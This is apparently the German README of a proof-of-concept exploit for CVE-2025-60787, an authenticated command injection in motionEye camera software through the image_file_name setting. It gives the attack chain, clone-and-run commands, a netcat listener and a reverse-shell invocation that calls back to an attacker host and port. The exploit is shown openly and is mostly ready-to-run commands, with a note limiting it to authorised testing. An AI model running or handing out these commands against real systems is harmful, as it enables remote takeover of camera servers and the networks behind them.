
CVE-2025-60787 motionEye authentifizierte Command-Injection RCE PoC
Authentifizierte Command-Injection-PoC für CVE-2025-60787. motionEye v0.43.1b4 und frühere Versionen schreiben benutzergesteuerte Kamera-Konfigurationswerte wie image_file_name ohne ausreichende Bereinigung in die Motion-Konfiguration, was die Befehlsausführung ermöglicht, wenn der Wert verarbeitet wird.
Nur für autorisierte Tests und Forschung. Nicht gegen Systeme verwenden, die dir nicht gehören oder für die du keine ausdrückliche Testgenehmigung hast.
Signed API request -> camera config update -> image_file_name injection -> snapshot trigger -> command execution
/config/list/.image_file_name./action/<camera_id>/snapshot/ aus, damit motionEye den injizierten Dateinamen verarbeitet.


git clone https://github.com/ozcanpng/CVE-2025-60787.git
cd CVE-2025-60787
pip install -r requirements.txt
python3 CVE-2025-60787.py \
--target http://127.0.0.1:8765 \
--user admin \
--password-hash HASH \
--cmd 'id > /tmp/motioneye_rce'
Zuerst einen Listener starten:
rlwrap nc -lvnp 4444
Dann ausführen:
python3 CVE-2025-60787.py \
--target http://127.0.0.1:8765 \
--port 8765 \
--user admin \
--password-hash HASH \
--reverse-shell \
--lhost 10.10.16.53 \
--lport 4444
Nützliche Optionen:
--camera-id N Kamera-ID, die geändert werden soll (Standard: 1)
--restore Stellt die ursprüngliche Kamera-Konfiguration nach dem Auslösen wieder her
--dry-run Erstellt signierte Anfragen, ohne das Ziel zu verändern
--debug Gibt kanonische signierte Pfade, Bodies und Signaturen aus
--no-trigger Aktualisiert die Konfiguration, ohne einen Schnappschuss auszulösen
--verify-tls Verifiziert HTTPS-Zertifikate
--yes Überspringt die Bestätigungsabfrage für die Reverse Shell
| Produkt | Betroffene Version | Erforderlicher Zugriff | Auswirkung |
|---|---|---|---|
| motionEye | <= 0.43.1b4 | Authentifizierter Admin-/API-Zugriff | OS-Befehlsausführung als motionEye-/Motion-Prozessbenutzer |
Die resultierenden Rechte hängen davon ab, wie motionEye bereitgestellt wird. In Containern oder Labor-Images, die den Dienst als Root ausführen, kann die Befehlsausführung als Root erfolgen.
image_file_name.--restore, um die ursprüngliche Kamera-Konfiguration nach der Ausnutzung wiederherzustellen.--cmd für eine sichere Validierung, bevor du eine Reverse Shell versuchst.ozcanpng — github.com/ozcanpng — ozcanpng.dev